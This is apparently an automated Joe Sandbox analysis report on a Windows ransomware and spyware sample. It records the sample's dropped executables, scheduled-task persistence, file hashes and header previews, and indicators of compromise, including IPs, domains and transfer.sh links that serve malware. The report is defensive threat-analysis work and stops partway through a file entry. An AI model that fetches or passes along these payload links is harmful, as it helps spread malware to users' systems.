Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	791295
Start date and time:	2023-01-25 09:41:05 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	aw9Ynwqd1x.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	43
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@30/14@4/5
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 62.2% (good quality ratio 54.6%) Quality average: 64.6% Quality standard deviation: 34.4%
HCA Information:	Successful, ratio: 99% Number of executed functions: 49 Number of non-executed functions: 71
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WerFault.exe, WMIADAP.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe
Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, fs.microsoft.com, login.live.com, eudb.ris.api.iris.microsoft.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:42:17	API Interceptor	1524x Sleep call for process: explorer.exe modified
09:42:40	Task Scheduler	Run new task: Firefox Default Browser Agent 3F21743AEE756304 path: C:\Users\user\AppData\Roaming\dbjigst
09:43:30	API Interceptor	33x Sleep call for process: ngentask.exe modified
09:44:35	Task Scheduler	Run new task: svcupdater path: C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe
09:45:37	API Interceptor	44x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
144.76.136.153	PURCHASE ORDER & SAMPLE IMAGE.xlsx	Get hash	malicious	Browse	transfer.sh/get/I9BcJI/maxdyn2.1.exe
	RFQ-BT5004423.doc	Get hash	malicious	Browse	transfer.sh/get/mGCQGV/gstallabt4.2.exe
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.16955.24932.rtf	Get hash	malicious	Browse	transfer.sh/get/8LtEmv/mwele.exe
	pvv6dLm4nj.exe	Get hash	malicious	Browse	transfer.sh/get/SFHHxF/gru3xt3b.exe
	Quote List.doc	Get hash	malicious	Browse	transfer.sh/get/4KPgdY/mcland2.1.exe
	100112414_221209.doc	Get hash	malicious	Browse	transfer.sh/get/iqb7h3/noicnneland.exe
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.3863.8720.rtf	Get hash	malicious	Browse	transfer.sh/get/vO3WhH/nulight2.1.exe
	PO-AM2207586.xlsx	Get hash	malicious	Browse	transfer.sh/get/Xszsf2/fgc4.exe
	1.exe	Get hash	malicious	Browse	transfer.sh/get/b02fuU/Ikwtsw_Dlwusohh.jpg
	BZfApQSvig.exe	Get hash	malicious	Browse	transfer.sh/get/mv2A8U/Jpacuhx_Ytbwopcz.png
	l5LVNukfQm.exe	Get hash	malicious	Browse	transfer.sh/get/2bMMvr/Ftqhdpj_Dwbqyzci.jpg
	ksuO9C24QH.exe	Get hash	malicious	Browse	transfer.sh/get/qT523D/Wlniornez_Dablvtrq.bmp
	ksuO9C24QH.exe	Get hash	malicious	Browse	transfer.sh/get/qT523D/Wlniornez_Dablvtrq.bmp
	file.exe	Get hash	malicious	Browse	transfer.sh/get/EBgWOR/Jhkgft_Cptucfoi.bmp
	86503807.exe	Get hash	malicious	Browse	transfer.sh/get/Fh5qw1/Yviliqfen.log
	24982297.exe	Get hash	malicious	Browse	transfer.sh/get/7l55ti/Yqheqrnit.png
	67259493.exe	Get hash	malicious	Browse	transfer.sh/get/sP0JXy/12.png
	89085041.exe	Get hash	malicious	Browse	transfer.sh/get/TaUSBQ/Tzdtprkp.log
	11286208.exe	Get hash	malicious	Browse	transfer.sh/get/1KEmBC/Odhxu.jpg
	tXDPyCfwcY.exe	Get hash	malicious	Browse	transfer.sh/get/fvp22f/Aiebe.jpg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
potunulit.org	file.exe	Get hash	malicious	Browse	188.114.96.3
	tPR99t7HF1.exe	Get hash	malicious	Browse	188.114.96.3
	file.exe	Get hash	malicious	Browse	188.114.97.9
	file.exe	Get hash	malicious	Browse	188.114.97.3
	file.exe	Get hash	malicious	Browse	188.114.96.3
	file.exe	Get hash	malicious	Browse	188.114.97.3
	file.exe	Get hash	malicious	Browse	188.114.96.3
	file.exe	Get hash	malicious	Browse	188.114.97.3
	file.exe	Get hash	malicious	Browse	188.114.96.3
	file.exe	Get hash	malicious	Browse	188.114.97.3
	file.exe	Get hash	malicious	Browse	188.114.97.3
	file.exe	Get hash	malicious	Browse	188.114.97.3
	file.exe	Get hash	malicious	Browse	188.114.97.3
	file.exe	Get hash	malicious	Browse	188.114.97.9
	file.exe	Get hash	malicious	Browse	188.114.96.3
	file.exe	Get hash	malicious	Browse	188.114.96.3
	akrs27pxbj.exe	Get hash	malicious	Browse	188.114.96.3
	file.exe	Get hash	malicious	Browse	188.114.97.3
	file.exe	Get hash	malicious	Browse	188.114.97.3
	file.exe	Get hash	malicious	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
HETZNER-ASDE	tPR99t7HF1.exe	Get hash	malicious	Browse	144.76.136.153
	ASHO2xfoII.exe	Get hash	malicious	Browse	95.217.146.176
	D5BA7A1B36FD9BFDDC5F9AC2299F23632E21933F052B4.exe	Get hash	malicious	Browse	95.217.16.127
	S1iAwxHShu.elf	Get hash	malicious	Browse	49.13.250.152
	file.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	HEUR-Trojan.Win32.Crypt.gen-e026bc9a0b7ac31a8.exe	Get hash	malicious	Browse	148.251.234.93
	E9387D76F1601429FE70F70A48B966F2EF98C5E07A612.exe	Get hash	malicious	Browse	95.217.16.127
	file.exe	Get hash	malicious	Browse	144.76.136.153
	prog.apk	Get hash	malicious	Browse	144.76.58.8
	file.exe	Get hash	malicious	Browse	144.76.136.153
	D677F86403915B15AB62B1278CC7E6A8F2A98DE2BA6A8.exe	Get hash	malicious	Browse	148.251.234.93
	file.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	95.217.16.127
	7gVUijX18f.exe	Get hash	malicious	Browse	95.217.146.176
	file.exe	Get hash	malicious	Browse	95.217.49.230
	hui.scr.exe	Get hash	malicious	Browse	95.217.102.105
	file.exe	Get hash	malicious	Browse	148.251.234.93
	file.exe	Get hash	malicious	Browse	95.217.49.230
CLOUDFLARENETUS	https://fandeccks.000webhostapp.com/1	Get hash	malicious	Browse	104.23.134.11
	the-planet-app.apk	Get hash	malicious	Browse	104.22.10.83
	file.exe	Get hash	malicious	Browse	188.114.96.3
	file.exe	Get hash	malicious	Browse	172.67.161.69
	PI_NBI-2250123(MECH)_pdf.exe	Get hash	malicious	Browse	162.159.135.232
	tPR99t7HF1.exe	Get hash	malicious	Browse	188.114.96.3
	http://getyourbabysat.biz/came/index.html#jolette.l@greenmined.co.za	Get hash	malicious	Browse	104.18.11.207
	LibreOffice-release.exe	Get hash	malicious	Browse	188.114.96.3
	file.exe	Get hash	malicious	Browse	188.114.97.9
	file.exe	Get hash	malicious	Browse	188.114.97.3
	file.exe	Get hash	malicious	Browse	188.114.96.3
	file.exe	Get hash	malicious	Browse	188.114.97.3
	HEUR-Trojan.Win32.Crypt.gen-e026bc9a0b7ac31a8.exe	Get hash	malicious	Browse	188.114.97.3
	https://talium.co/doc/aQ1w0a/s/	Get hash	malicious	Browse	104.18.18.132
	file.exe	Get hash	malicious	Browse	188.114.96.3
	file.exe	Get hash	malicious	Browse	188.114.97.3
	#U25b6#Ufe0f#Ud83d#Udd18#U2500#U2500 #U266b Audio-0056secs.HTM	Get hash	malicious	Browse	104.18.18.132
	https://hicksronaldbown.com/	Get hash	malicious	Browse	104.17.25.14
	EFT_Receipts.htm	Get hash	malicious	Browse	104.17.25.14
	Completed Signed Agreement.htm	Get hash	malicious	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	tPR99t7HF1.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	invoice-5776677.WSF.wsf	Get hash	malicious	Browse	144.76.136.153
	invoice-1995727.WSF.wsf	Get hash	malicious	Browse	144.76.136.153
	invoice-3682965.WSF.wsf	Get hash	malicious	Browse	144.76.136.153
	invoice-8625257.bat	Get hash	malicious	Browse	144.76.136.153
	invoice-3087414.bat	Get hash	malicious	Browse	144.76.136.153
	B9766C6D3C42159CF386D25BAAEAD76A8FE95E6523337.exe	Get hash	malicious	Browse	144.76.136.153
	sample19.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	I5qWKhi3jV.exe	Get hash	malicious	Browse	144.76.136.153
	eaoQx6oK2p.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	Browse	162.0.217.254
	tPR99t7HF1.exe	Get hash	malicious	Browse	162.0.217.254
	YrD1BC1bsf.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	D5BA7A1B36FD9BFDDC5F9AC2299F23632E21933F052B4.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	HEUR-Trojan.Win32.Crypt.gen-e026bc9a0b7ac31a8.exe	Get hash	malicious	Browse	162.0.217.254
	E9387D76F1601429FE70F70A48B966F2EF98C5E07A612.exe	Get hash	malicious	Browse	162.0.217.254
	ZVKooVE7gN.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	https://rise.articulate.com/share/oIPGqlcs4YAbJcrgqMshXod7_KpoUrxZ#/lessons/BiUk3l0uXFxpT9YJvNRZHEHdLBAIWErX	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	#U25b6#Ufe0f#Ud83d#Udd18#U2500#U2500 #U266b Audio-0056secs.HTM	Get hash	malicious	Browse	162.0.217.254
	https://hicksronaldbown.com/	Get hash	malicious	Browse	162.0.217.254
	EFT_Receipts.htm	Get hash	malicious	Browse	162.0.217.254
	Completed Signed Agreement.htm	Get hash	malicious	Browse	162.0.217.254
	Remittance Advice.htm	Get hash	malicious	Browse	162.0.217.254
	ACH Remittance.htm	Get hash	malicious	Browse	162.0.217.254

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\226F.exe	file.exe	Get hash	malicious	Browse
	tPR99t7HF1.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\dllhost.exe.log

Download File

Process:	C:\Windows\System32\dllhost.exe
File Type:	CSV text
Category:	modified
Size (bytes):	3941
Entropy (8bit):	5.3577599206293485
Encrypted:	false
SSDEEP:	96:iqEYqGgAo3+aJtIz6cxBAmRvBIQYrjVxmc5qCqKP5t2qBtzG1/qIgE:iqEYqGDeIz6rjjqCqKRt2qBtzG1/qNE
MD5:	42733E87CE0EFB04DBD1645F05E8E116
SHA1:	5CDAE1A1CD7318D6426E438E2EAFEDA651E3B3AA
SHA-256:	D82328B2E33426C19C8B536DC5A21450006D366FC8343B5B2BBD88E6BD84DE7D
SHA-512:	A387B92226C384907A38A766E56CD51A134878915F048C986AE1313D071A1E5F2A84D708C65E1C3CF43360D8EA64CBD11850EA3DEFBE366EEBCE8A5EFF745158
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\4e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll",0..3,"System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\8b2774850bdc17a926dc650317d86b33\System.Management.Automation.ni.dll",0..3,"Microsoft.PowerShell.Commands.Diagnostics, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P1706cafe#\a3e764ed5105d4b1ca29e76f9dbbe5d7\Microsoft.PowerShell.Commands.Diagnostics.ni.dll",0..3,"System.Configuration.Install, Version=4.0.0.0, Culture=neutral

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NGenTask.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2843
Entropy (8bit):	5.3371553026862095
Encrypted:	false
SSDEEP:	48:MxHKXeHKlEHU0YHKhQnouHIWUfHKhBHKdHKBfHK5AHKzvQTHmtHoxHImHKx1qHje:iqXeqm00YqhQnouOqLqdqNq2qzcGtIxU
MD5:	75BC6DB42CE4C37482926043D9B80BC9
SHA1:	700BDF1D18804FBE60EB0318B290C37CDC60EA41
SHA-256:	15F15BDEB42AD40DBCB6BB9064C33B51CB43EDB99820EDE647350BE604AAF58A
SHA-512:	26E15E546BBD6518265BAC343F952E75B30C7927143D293780F456A5B44C1E1B6B7D074DF00BC6328D23E52FE9E3F8850A879B129C35F47B0ED864E9C640BA4F
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\820a27781e8540ca263d835ec155f1a5\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\889128adc9a7c9370e5e293f65060164\PresentationFramework.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Wi

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	9432
Entropy (8bit):	4.918232018284106
Encrypted:	false
SSDEEP:	192:Nxoe5FpOMxoe5Pib4GVsm5emdygkjDt4iWN3yBGHh9smidcU6CGdcU6CS9smDpOh:bfib4Glkjh4iUxs14fib41
MD5:	F6775EDC5EE3B8EEDBF8310BD48C709D
SHA1:	51DBC51183BFBFE57F24E9AD63840E60D2E64842
SHA-256:	B5D6E4B1EF4F3E734E47F87E8226814AE7D574F4E458CCE4E21D637588F45B28
SHA-512:	EDCED69415369C7EBA17D72EC1691FE44F5C5DCF7565EAE1A22112E631FFBBCE72B830BBF0D91E70484BC7F0E4D59870777B07E86126438E78E15A7337D97BD6
Malicious:	false
Preview:	PSMODULECACHE......P.e...S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........7r8...C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Temp\226F.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1642648
Entropy (8bit):	7.847643854402106
Encrypted:	false
SSDEEP:	49152:murDawItlpDZLPU/kHWGPaYE3Ku7ZKZ6nxvax85fCSuw:muPawItlpDZDU/kZPaYm/JvaxQCK
MD5:	EA25CE2F3580AF1DD771BAC5B0D2BF83
SHA1:	8A425695AE3154F222BA4A7A8AF03287D20F8BC4
SHA-256:	768E12A9AF62F5F83F6D6FF64C6C10E37834FC202E0E4D609C80CE7FACC8C534
SHA-512:	70776BD050666D7ABCDB0668832A652FC4A67E45243DFD229520DA3712B85B506FFE9C3ED3C3C1E89F388C2D56B6E3FC8CDC31B35485FF1BA456F8A47277F0C4
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 43% Antivirus: Virustotal, Detection: 39%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: tPR99t7HF1.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........G.b...b...b...0>..b...0/..b...09..b.......b...b...b...00..b...0...b...b-..b...0+..b..Rich.b..........................PE..L....~.c......................#.....k.............@...........................9.....2[....@.....................................P.....6.0.....................9.........................................@...............`............................text...6........................... ..`.rdata...0.......2..................@..@.data...<. .........................@....rsrc...0.....6.....................@..@.reloc...I....9..J..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2560.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	718848
Entropy (8bit):	7.8663391957867645
Encrypted:	false
SSDEEP:	12288:XQc1wGGrXn8rDAG7ps+O6TuFlgflEKK9LcFXTASviKWBNbaPSFS:XTwGGrsASprtEKK9wF0SrWBQKFS
MD5:	0A006808F7AA017CAF2DF9CE9E2B55A2
SHA1:	63F5B0E9FE5E3DAEBDBFC8AA168AB163E436AC32
SHA-256:	F55976607594D241004245F084ADD64F399F7D4683C603F56EF92C0CBCD41E05
SHA-512:	8AD4C111BF0904EB739A462E274C7A2FD9EC1AFB2DB7D77F176B26438520C4859B2CCB46A4C76F206E20B4584E434E1D78B26DCD042F08B3D573BB99036E8C73
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......K..Y.pl..pl..pl.."...pl.."..rpl.(....pl..pm..pl.."..,pl.."...pl.."...pl.Rich.pl.................PE..L......a.....................Z......6x............@.........................................................................,...d....p..P,..........................P................................Z..@............................................text.............................. ..`.data............4..................@....rsrc...P,...p......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\336E.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	417792
Entropy (8bit):	7.008431460440525
Encrypted:	false
SSDEEP:	6144:GILot0e73kNAn1SNCe64axZb30GvtQK/fu1d04DI12mTb:GIct0eLkPNL64Y91tQKXu1PDI12
MD5:	261B1DB94CCF4266128E2EB71A80FDA4
SHA1:	9D4CD03297F31EABE957F261DC7C3C6C268BD39F
SHA-256:	B0072463E78182E8D9721F91F889A62D9CE59A348FDDC5196B6201A5FA68B259
SHA-512:	2DD25970561CF9E3D946ACD891B601E6AA7E6563DDE6C10ED5AC1A6486BBC1851CF3908B5BDEE6C9B29633E51C90339209C50D97C0EA28B897BD6E7117B1AC7B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M_.`.>.3.>.3.>.3.lQ3->.3.l@3.>.3.lV3o>.3...3.>.3.>.3~>.3.l_3.>.3.lA3.>.3.lD3.>.3Rich.>.3................PE..L......b.............................F............@.........................................................................T...d.... ..(............................................................-..@............................................text...8........................... ..`.data...............................@....huxuho.p...........................@..@.gini...............................@..@.vab................................@....rsrc...(.... ......................@..@.reloc...............F..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5898187.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\226F.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	343040
Entropy (8bit):	7.533406928573143
Encrypted:	false
SSDEEP:	6144:324+ZV6NuvwV+hq3kd2UaXYnKUFWBMljuhLaWdTPk8SarppXad:YuNuvwUhq3kd2USYKUQ6ljkLaWdTPk8q
MD5:	F56B1B3FE0C50C6ED0FAD54627DF7A9A
SHA1:	05742C9AD28475C7AFDD3D6A63DD9200FC0B9F72
SHA-256:	E8F71DA41BBC272EF84589A7575B13B8B5D6D5D01796B3AF033682657263C53B
SHA-512:	FDE2089BCDF19CDB9D27763E4D3294A0E42CD0A3132463636610D85C3903B885BE6142D3B42204E89B76B5595E8B132580C8A5C60CED96D042AD96BCFE29B1C9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 18%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...r..c...........!.........\|............................................................@.............................s.......<............................`......................................................d...$............................text.............................. ..`.rdata...[.......\..................@..@.data...x....0......................@....00cfg.......P.......&..............@..@.reloc.......`.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Library.exe

Download File

Process:	C:\Windows\System32\dllhost.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3162624
Entropy (8bit):	7.989170144844482
Encrypted:	false
SSDEEP:	49152:Bc60tZPCW+7npLN+LGgXP1idPDhwcsuuKQLlv02EmYakkriZ7czTnItexztCNxR4:BaV+tLN+qg/8rhUuunlm9kg4TniizEv
MD5:	EC5A11FC9A9CB3111AFA460FEC201D3D
SHA1:	5E2665BBDAD06FC5423FB9E6C819AE4CB9982DE1
SHA-256:	F553B5D26D797F332B036D42B43793622CED3EA336FD2EFDA337D39679E9B824
SHA-512:	6F8EC56125F20D1D444B4DD5438FB73FF6A268FB0D4B97C1D03960BECC3E4FED8BA95C85B4BD7B7B4A27E165E0CBD81B4D05D79FC0CF7B31A6BA404150132A94
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....R.c.........."...0..:0.............. .....@..... ........................0...........@..........................................................`0.............................................................................................. ..H............text...L90.. ...:0................. ..`.rsrc........`0......<0.............@..@........................................H........./.x...........HD...............................................0..........(:...(g........0.......... ..[....(4...&..(......0.......... >.[....(4...&..0.......... \.[....(4...t......0..,....... s.[.(....o.....(....o....(......(4...t.....0.......... ..[....(4...t......0.......... ..[....(4...&..0................%.... 2.[....(4...........0.......... Y.[....(4...t......0................%.... ..[....(4...t.......0............{.....{.....o.....+..*R.(.......s....}....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4jbitbac.qx5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kfuf4nv3.1n4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\336E.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	752246784
Entropy (8bit):	7.999823889690503
Encrypted:	true
SSDEEP:
MD5:	A4C9D357EA9C7679D978EB985F61E6C5
SHA1:	F5CD28E15AE9AA3F95C7DC8DF9CD0E09B6E9B650
SHA-256:	4FA6D1456D893E3653BA35F77FDD94099DD20986DABB657BE14E7455BB70910A
SHA-512:	20E511E8D928748C1DBA8C605483A2D98F46E5F7C8FFD07A21613AF01D00AA20087038B65002C179DF69B202FC4A62764A3B2AC61C3F8988DD913B448E275EB0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M_.`.>.3.>.3.>.3.lQ3->.3.l@3.>.3.lV3o>.3...3.>.3.>.3~>.3.l_3.>.3.lA3.>.3.lD3.>.3Rich.>.3................PE..L......b.............................F............@.........................................................................T...d.... ..(............................................................-..@............................................text...8........................... ..`.data...............................@....huxuho.p...........................@..@.gini...............................@..@.vab................................@....rsrc...(.... ......................@..@.reloc...............F..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\dbjigst

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	199680
Entropy (8bit):	7.104315914125058
Encrypted:	false
SSDEEP:	3072:OBN4X3HL6thikLX8OKWnG5/9sSR3STCDrKQqSrwizN5UE3Z9ziBG7aZ:imG7LX9pno9sSxOCDlrwiz75p9oG7w
MD5:	B5C3C3D5EB5E6B5415AC4D87E3C46850
SHA1:	9AA4014DE1B622844DDFA4C7DDB17AE384289CD2
SHA-256:	B7948C22484BDDCE96A2713DA0A6BDA18CFD0487DB9239ED0FD1790552D5E6B2
